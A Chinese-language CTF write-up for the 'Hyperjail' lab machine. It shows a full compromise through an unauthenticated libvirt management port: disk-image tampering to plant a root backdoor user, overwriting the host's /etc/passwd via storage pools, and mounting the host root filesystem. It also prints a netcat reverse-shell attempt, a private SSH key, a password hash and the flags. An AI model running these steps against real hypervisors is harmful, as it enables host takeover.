

Hyperjail-260501

1. 信息搜集

nmap

```
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
2222/tcp  open  ssh      OpenSSH 10.0 (protocol 2.0)
3389/tcp  open  ssh      OpenSSH 10.0 (protocol 2.0)
16509/tcp open  unknown
MAC Address: 08:00:27:C3:37:87 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/12%OT=2222%CT=1%CU=30335%PV=Y%DS=1%DC=D%G=Y%M=080027
OS:%TM=687150D0%P=x86_64-pc-linux-gnu)SEQ()SEQ(II=I)ECN(R=N)T1(R=N)T2(R=N)T
OS:3(R=N)T4(R=N)T5(R=N)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

2222、3389 都是 ssh

16509 通过查文档可发现是 libvirt 的管理端口，且存在未授权访问

```
qiaojojo@homo [02:02:42] [~]
-> % virsh -c "qemu+tcp://$ip/system" version
Authorization not available. Check if polkit service is running or see debug message for more
information.
根据库编译: libvirt 11.3.0
使用库: libvirt 11.3.0
使用的 API: QEMU 11.3.0
运行管理程序: QEMU 10.0.0
```

2. 获取虚拟机访问权限

2.1. flag 比权限先来

首先通过 virsh 终端连接，简单获取下虚拟机信息，然后给配置先 dump 出来

```
qiaojojo@homo [02:17:41] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system"
```

欢迎使用虚拟化环境下的交互式终端 virsh。

输入: 'help' 获得命令的帮助信息
'quit' 退出

```
virsh # list --all
  Id   名称   状态
-----
  1    kvm799  运行

virsh # domstate kvm799
运行
virsh # dumpxml kvm799
<domain type='qemu' id='1'>
  <name>kvm799</name>
  <uuid>e7bcf63c-be70-4e75-be40-1a4524c255b1</uuid>
  <metadata>
    <libosinfo:libosinfo xmlns:libosinfo="http://libosinfo.org/xmlns/libvirt/domain/1.0">
      <libosinfo:os id="http://alpinelinux.org/alpinelinux/3.21"/>
    </libosinfo:libosinfo>
  </metadata>
  <memory unit='KiB'>1048576</memory>
  <currentMemory unit='KiB'>1048576</currentMemory>
  <vcpu placement='static'>1</vcpu>
  <os>
    <type arch='x86_64' machine='pc-q35-10.0'>hvm</type>
    <boot dev='hd' />
  </os>
...下略
```

阅读虚拟机定义 xml，可以看到 **QEMU 进程直接以 root (UID 0, GID 0) 运行**，没有降权

```
<seclabel type='dynamic' model='dac' relabel='yes'>
  <label>+0:+0</label>
  <imagelabel>+0:+0</imagelabel>
</seclabel>
```

QEMU 的 `migrate` 命令支持 `exec:` 协议，可以直接执行命令，试试能不能一把梭

```
qiaojojo@homo [02:27:30] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" qemu-monitor-command kvm799 --hmp 'migrate "exec:nc
192.168.88.200 4444 -e /bin/sh"'

Error: Failed to fork (Operation not permitted)
```

想多了。

那接下来目标暂定是虚拟机，如果中途发现了什么可以直接写宿主机的方法也可以试试

先试试显而易见可以控制虚拟机的命令，有点收获，不能登录那咋整

```
qiaojojo@homo [02:31:05] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" console kvm799
```

连接到域 'kvm799'
转义字符是 ^] (Ctrl +])

```
Welcome to Alpine Linux 3.22
Kernel 6.12.34-0-virt on x86_64 (/dev/ttyS0)
```

```
localhost login:
```

但 libvirtd 各种丰富的功能中提供了读写文件权限，因此可以尝试读取存储池中的文件，或者往里面塞点什么

先找找虚拟机的虚拟磁盘放哪了，之前 `dumpxml kvm799` 配置文件有写，放

```
/var/lib/libvirt/images/kvm799.qcow2
```

```
<disk type='file' device='disk'>
  <driver name='qemu' type='qcow2' discard='unmap' />
  <source file='/var/lib/libvirt/images/kvm799.qcow2' index='2' />
  <backingStore />
  <target dev='vda' bus='virtio' />
  <alias name='virtio-disk0' />
  <address type='pci' domain='0x0000' bus='0x04' slot='0x00' function='0x0' />
</disk>
```

然后检查下存储池，尝试给 dump 出来（这里还引出第二种方法）

```
qiaojojo@homo [02:38:23] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" pool-list
```

名称	状态	自动开始
images	活动	是
operation	活动	是

```
qiaojojo@homo [02:39:27] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-list --pool images
```

名称	路径
kvm799.qcow2	/var/lib/libvirt/images/kvm799.qcow2

```
qiaojojo@homo [02:39:46] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-download --pool images kvm799.qcow2 ./kvm799.qcow2
```

装个 `qemu-utils`，本地挂载看看啥东西都有

```

qiaojojo@homo [02:39:46] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-download --pool images kvm799.qcow2 ./kvm799.qcow2

qiaojojo@homo [03:02:07] [~/test/hyperjail]
-> % sudo qemu-nbd -c /dev/nbd0 ./kvm799.qcow2

qiaojojo@homo [03:05:25] [~/test/hyperjail]
-> % sudo fdisk -l

Disk /dev/nbd0: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5aa98e9f

Device      Boot  Start      End  Sectors  Size Id Type
/dev/nbd0p1 *        2048   616447   614400   300M 83 Linux
/dev/nbd0p2          616448  4599807  3983360   1.9G 82 Linux swap / Solaris
/dev/nbd0p3          4599808 20971519 16371712   7.8G 83 Linux

```

挑最大的挂载，方便操作切 root 权限了

```

qiaojojo@homo [03:06:34] [~/test/hyperjail]
-> % sudo mkdir /mnt/nbd

qiaojojo@homo [03:06:38] [~/test/hyperjail]
-> % sudo mount /dev/nbd0p3 /mnt/nbd

└─(root@homo)-[/mnt/nbd/root]
└─# ls -la
总计 20
drwx----- 3 root root 4096 2025年 7月11日 .
drwxr-xr-x 21 root root 4096 2025年 7月 5日 ..
-rw----- 1 root root 296 2025年 7月11日 .ash_history
drwx----- 2 root root 4096 2025年 7月11日 .ssh
-rw-r--r-- 1 root root 42 2025年 7月10日 user.txt

└─(root@homo)-[/mnt/nbd/root]
└─# cat .ash_history
ssh operation@192.168.122.1
ssh operation@192.168.122.1 -p 2222
ssh operation@192.168.122.1 -p 22222
ssh operation@192.168.122.1 -p 3389
wtf
mount -t 9p -o trans=virtio,version=9p2000.L,access=client host_my_file /mnt
cd /mnt
service nginx stop
python3 -m http.server 80

```

```
service nginx start
exit
```

```
└─(root@homo)-[/mnt/nbd/root]
└─# cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAACMFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCMt19IvE
h8/r856ymY1/bfAAAAGAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIOkhXu+6Hkpx0ckv
c0oGnrm5Hb2xYCFsgVH6BIOElMw3AAAAoPLiPjuG42YGnviRRfBz7/blEgQDiH5hg1J3uH
notuTpvQrTFEhu/Ystek9cm4+s5riVI0AZnx1CtIsPgQoyhh8VeggIQ1cq7s0H4T90E0y+
fs3q97G2qF3/SkZNGxfowYAVPD46P2+pD+FWl+rA4yC2/wGNUaxkXLB/QhM9B6t2qY0Y2w
BTtm1uo7YS1JZde1KXy/hAFYSeGUMlkIySXp0=
-----END OPENSSH PRIVATE KEY-----
```

同时这里也获得 user flag 了

```
└─(root@homo)-[/mnt/nbd/root]
└─# cat user.txt
hmv{88198715-7cc1-483b-b41d-55dc9b2266fc}
```

2.2. 篡改 qcow2 镜像回传

passwd 加个后门用户

```
└─(root@homo)-[/mnt/nbd/etc]
└─# mkpasswd -m md5 Qweasd.123
$1$30/mvumJ$WKem9WlSVfz/ox.X.LlsL.

└─(root@homo)-[/mnt/nbd/etc]
└─# cat passwd | grep root
root:x:0:0:root:/root:/bin/sh
qiaojojo:$1$30/mvumJ$WKem9WlSVfz/ox.X.LlsL.:0:0:root:/root:/bin/sh

qiaojojo@homo [03:16:31] [/mnt]
-> % sudo umount /mnt/nbd

qiaojojo@homo [03:16:36] [/mnt]
-> % sudo qemu-nbd -d /dev/nbd0
/dev/nbd0 disconnected
```

上传覆盖原始镜像文件，先给机器关机，然后给镜像塞回去，开机

```
qiaojojo@homo [03:17:28] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" destroy kvm799
域 'kvm799' 已销毁
```

```
qiaojojo@homo [03:17:50] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-upload --pool images kvm799.qcow2 ./kvm799.qcow2

qiaojojo@homo [03:19:37] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" start kvm799
域 'kvm799' 已启动
```

尝试下 console，咋没反应。。

查阅了一下文档，发现可以通过 `virsh edit <domain>` 命令编辑虚拟机配置，可以接个显示输出设备，还有 vnc 这种好东西

先给加上，然后重启下虚拟机看看怎么个事

```
<domain type='qemu'>
<!--其他配置不变-->
  <devices>
    <!--其他配置不变-->
    <graphics type='vnc' autoport='yes' listen='0.0.0.0'>
      <listen type='address' address='0.0.0.0' />
    </graphics>
  </devices>
</domain>
```

一看怎么内核恐慌了（实际是因为嵌套虚拟化下，纯软件虚拟化的一些哮问题，多次重启可解决）

多次重启发现恢复正常

OpenRC 0.62.5 is starting up Linux 6.12.34-0-virt (x86_64)

```
* /proc is already mounted
* Mounting /run ... [ ok ]
* /run/openrc: creating directory
* /run/lock: creating directory
* /run/lock: correcting owner
* Caching service dependencies ... [ ok ]
* Remounting devtmpfs on /dev ... [ ok ]
* Mounting /dev/mqueue ... [ ok ]
* Mounting security filesystem ... [ ok ]
* Mounting debug filesystem ... [ ok ]
* Mounting persistent storage (pstore) filesystem ... [ ok ]
* Mounting bpf filesystem ... [ ok ]
* Starting busybox mdev ... [ ok ]
* Scanning hardware for mdev ... [ ok ]
* Loading hardware drivers ... [ ok ]
* Loading modules ... [ ok ]
* Setting system clock using the hardware clock [UTC] ... [ ok ]
* Checking local filesystems ...
/dev/vda3: clean, 3841/512064 files, 83373/2046464 blocks
/dev/vda1: recovering journal
/dev/vda1: clean, 25/76912 files, 55933/307200 blocks [ ok ]
* Remounting root filesystem read/write ... [ ok ]
* Remounting filesystems ... [ ok ]
* Activating swap devices ... [ ok ]
* Mounting local filesystems ... [ ok ]
* Configuring kernel parameters ... [ ok ]
* Creating user login records ... [ ok ]
* Setting hostname ... [ ok ]
* Starting networking ... [ ok ]
*   lo ... [ ok ]
*   eth0 ... [ ok ]
* Seeding random number generator ...
* Seeding 256 bits and crediting
* Saving 256 bits of creditable seed for next boot [ ok ]
* Starting busybox syslog ... [ ok ]
* Starting busybox acpid ... [ ok ]
* Starting busybox crond ... [ ok ]
* Starting busybox ntpd ... [ ok ]
* Starting sshd ... [ ok ]
```

Welcome to Alpine Linux 3.22
Kernel 6.12.34-0-virt on x86_64 (/dev/tty1)

localhost login:

尝试用 console 上后门用户试试，获得虚拟机 root 权限

```
qiaojojo@homo [03:25:02] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" console kvm799
```

连接到域 'kvm799'

转义字符是 ^] (Ctrl +])

qiaojojo

Password:

Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems.
See <<https://wiki.alpinelinux.org/>>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

localhost:~#

3. 获取宿主机权限

总之先给镜像里面提取的私钥解个密

```
qiaojojo@homo [03:35:28] [~/test/hyperjail]
-> % ssh2john kvm799.id_ed25519 > kvm799.id_ed25519.hash

qiaojojo@homo [03:35:44] [~/test/hyperjail]
-> % john --wordlist=~/.rockyou.txt kvm799.id_ed25519.hash
qweasd123                (kvm799.id_ed25519)
```

解密的时间进行一个左右脑互搏：

从过往使用虚拟机的经验来看，应该是能够存在支持挂载宿主机文件系统的方法；而虚拟化从之前的配置文件看来，实际是 root 在运行，能不能找到一种方法将宿主机的根目录挂载给虚拟机。。。

诶不对啊，我刚才是否已经完成了一次通过 pool 中 vol 文件下载和上传覆盖了，那有 pool 和 vol 的创建功能应该也很正常吧；那我岂不是直接给一些关键文件盖了就能直接 root 了。。。

对。。对吗？看看文档，哦对的对的，这16509直接一路读写文件就能杀穿了，别的啥也不用干

3.1. 方案一：盖宿主机文件

之前看过，机器内还有一个叫 `operation` 的 pool，这不用户目录吗？

```
qiaojojo@homo [03:39:27] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-list --pool operation

名称                                路径
-----
.ssh                                /home/operation/.ssh
alpine-virt-3.22.0-x86_64.iso       /home/operation/alpine-virt-3.22.0-x86_64.iso
copy-fail...?                       /home/operation/copy-fail...?
README.txt                          /home/operation/README.txt
```

具体是啥也不重要了，这里用 `virsh pool-edit` 尝试下对该 pool 的配置进行修改，给改到 `etc` 目录去

```
<pool type='dir'>
  <name>operation</name>
  <uuid>6c9e798b-6c15-404b-a9f3-10c740afaf3e</uuid>
  <capacity unit='bytes'>26987384832</capacity>
  <allocation unit='bytes'>967942144</allocation>
  <available unit='bytes'>26019442688</available>
  <source>
  </source>
  <target>
    <path>/root/</path>
    <permissions>
```

```
<mode>0755</mode>
<owner>1000</owner>
<group>1000</group>
</permissions>
</target>
</pool>
```

然后重新应用一下存储池，可以看到成功的给存储池弄过去了

```
qiaojojo@homo [03:48:24] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" pool-destroy operation
销毁池 operation
```

```
qiaojojo@homo [03:49:30] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" pool-start operation
池 operation 已启动
```

```
qiaojojo@homo [03:49:58] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-list --pool operation
名称                                路径
-----
acpi                                /etc/acpi
alpine-release                      /etc/alpine-release
alsa                                /etc/alsa
apk                                  /etc/apk
bash                                /etc/bash
...下略
```

给 passwd 文件脱下来，同样写一个后门账户再塞回去

```
qiaojojo@homo [03:52:55] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-download --pool operation passwd passwd.host

qiaojojo@homo [03:54:45] [~/test/hyperjail]
-> % echo 'qiaojojo:$1$30/mvumJ$WKem9WlSVfz/ox.X.LlsL.:0:0:root:/root:/bin/sh' >> passwd.host

qiaojojo@homo [03:54:52] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" vol-upload --pool operation passwd passwd.host
```

直接 ssh 登录试试

```
qiaojojo@homo [03:56:23] [~/test/hyperjail]
-> % ssh qiaojojo@"$ip" -p 3389
The authenticity of host '[192.168.88.52]:3389 ([192.168.88.52]:3389)' can't be established.
ED25519 key fingerprint is: SHA256:yVPJgQ8aaNpsr6MPk/yyIVsSbiv7L43lRuIzhTsJvo
```

```
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.88.52]:3389' (ED25519) to the list of known hosts.
qiaojojo@192.168.88.52: Permission denied (publickey,keyboard-interactive).
```

还不让密码登录可还行，用之前的解密出来的私钥连上再 su 就完事了

就算解不出来给 pool 挂回用户目录，或是写个定时任务弹 shell 都是一样的

```
qiaojojo@homo [04:01:16] [~/test/hyperjail]
-> % ssh operation@"$ip" -p 3389 -i kvm799.id_ed25519
Enter passphrase for key 'kvm799.id_ed25519':
Welcome to Alpine!
```

```
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.
```

```
You can setup the system with the command: setup-alpine
```

```
You may change this message by editing /etc/motd.
```

```
Hyperjail:~$ id
uid=1000(operation) gid=1000(operation) groups=1000(operation)
Hyperjail:~$ su qiaojojo
Password:
```

```
/home/operation # cat ~/root.txt
Dear Operations Team

If you're reading this file, it means you're accessing an unauthorized file again!
If I catch you
-----
YOU WILL BE FIRED!
THIS IS THE FINAL WARNING
-----

/home/operation # cat ~/H3r315TRUEfl@g.txt
hvm{ae1edcc0-23c8-4d3d-909a-b533524c8049}
```

最后还被骂一顿，做这机器的人咋想的：(

3.2. 方案二：虚拟机挂载宿主机文件系统

这里有了俩分支，一个是用 9p，一个是用 virtio

9p 挂载好久好在不用猜磁盘分区，但是得重启虚拟机

virtio 得猜一下根目录分区在哪，但可以热插拔

① virtio 挂载

由于这里不想重启抽奖抽到内核恐慌，先试试 virtio

虚拟机的根目录分区在 `/dev/vda3`，那我猜宿主机的在 `/dev/sda3`

```
qiaojojo@homo [04:15:24] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" attach-disk kvm799 /dev/sda3 vdb --targetbus virtio --
driver qemu --type disk --subdriver raw --sourcetype block
成功附加磁盘
```

然后在虚拟机内看下，确实多了 vdb

```
localhost:~# ls /dev/ | grep vd
vda
vda1
vda2
vda3
vdb
```

挂载后成功获得宿主机文件访问权限

```
localhost:~# mount /dev/vdb /mnt
localhost:/mnt# cd /mnt/root/
localhost:/mnt/root# ls -la
total 20
drwx-----  3 root    root          4096 Jul 10  2025 .
drwxr-xr-x  21 root    root          4096 May 19 14:29 ..
lrwxrwxrwx   1 root    root           9 Jul  4  2025 .ash_history -> /dev/null
drwxr-xr-x   3 root    root          4096 Jul  4  2025 .cache
-rw-r--r--   1 root    root           42 Jul 10  2025 H3r315TRUEFl@g.txt
-rw-r--r--   1 root    root          218 Jul 10  2025 root.txt
```

② 9p 挂载

这里通过 `virsh edit <domain>` 编辑虚拟机配置

```
<domain type='qemu'>
<!--其他配置不变-->
  <devices>
    <!--其他配置不变-->
    <filesystem type='mount' accessmode='passthrough'>
      <source dir='/'/>
      <target dir='hostroot'/>
    </filesystem>
  </devices>
</domain>
```

然后重启下虚拟机

```
qiaojojo@homo [04:22:18] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" destroy kvm799
域 'kvm799' 已销毁

qiaojojo@homo [04:22:38] [~/test/hyperjail]
-> % virsh -c "qemu+tcp://$ip:16509/system" start kvm799
域 'kvm799' 已启动
```

通过 console 或者 vnc 从之前写入的后门账户登录，检查下有没有 9p 相关依赖

没有的话得手动加一下

```
localhost:~# modprobe 9p
localhost:~# modprobe 9pnet_virtio
localhost:~# mount -t 9p -o trans=virtio,version=9p2000.L,access=client hostroot /mnt
localhost:~# ls -la /mnt/root/
total 20
drwx-----  3 root    root          4096 Jul 10  2025 .
drwxr-xr-x  21 root    root          4096 May 19 14:29 ..
lrwxrwxrwx   1 root    root           9 Jul  4  2025 .ash_history -> /dev/null
drwxr-xr-x   3 root    root          4096 Jul  4  2025 .cache
-rw-r--r--   1 root    root          42 Jul 10  2025 H3r315TRUEFl@g.txt
-rw-r--r--   1 root    root          218 Jul 10  2025 root.txt
```

4. 虚拟机内核恐慌问题&后记

纯 QEMU 模拟下的时钟中断时序有“抖动”，而 Linux 内核的 IO-APIC 校准逻辑对这种抖动非常敏感，且没有重试机制，一旦超时就认为硬件故障

每次启动时，QEMU 的指令翻译过程、宿主机 CPU 负载、基本块的边界位置都不同

如果在那个短暂的校准窗口内，QEMU 恰好能够及时注入定时器中断，内核就会认为 IO-APIC 工作正常

反之，如果中断注入恰好错过了内核期望的时间窗口，内核就会 panic（如果只是 virsh console 没有输入/输出，不一定就是真挂了）

修复的话，可以给虚拟机禁用 IO-APIC，功能理论上不会有太大损失，至少打完靶机够了

如果后续要做重启虚拟机操作，最好先拿到虚拟机 root 然后改下 grub 设置

```
GRUB_CMDLINE_LINUX_DEFAULT="quiet noapic"
```

出这机器的时候距离现在已经 10 个月，当时没有发现这个问题。如果有人碰到的这个问题导致没法继续玩，那我先在这道个歉了【

- **之前为啥不发？**

因为当时这个洞涉及几家国内、国外的大企业，所以交给了 CNVD 分配编号协调处理，按照当时约定的保密时间是半年。

同时红帽 libvirt 团队不认为错误配置是他们问题，我觉得他们说的对，所以没有 CVE 编号了。

- **为啥现在发了？**

今年二月有人拿漏洞通告喂给 AI 洗稿，给发阿里云上了。并且上传到 HackMyVM 的同款机器石沉大海。。。

- **为啥感觉不怎么 hard？**

制作这个靶机的初衷是用作本地的试验环境，觉得好玩就包装了下，设计可能不那么精巧，知道了一些信息后会觉得全身是洞。

一年过去，各大 AI 模型能力相较制作时有了一定提升，对于 Agent 等的应用也更加成熟，解决“未知的已知问题”的能力更强了，因此下调了难度评级到 Medium。

难度主要来自于少有人讨论，属于“信息差”类的难度，或许再过半年就是 Easy 了（笑）。

虽然我个人比较喜欢手操，但既然织布机已经诞生，就不会再回到手工作坊的时代。工具的强度和操作者的强度一样重要。

如果是纯手撕的群友，👍👍👍👍👍

以上靶机内容被去年挑战失败的 sublarge，使用 claude 在 10 分钟内捅穿。

没有企业的生产环境受到实际伤害（仅国内）。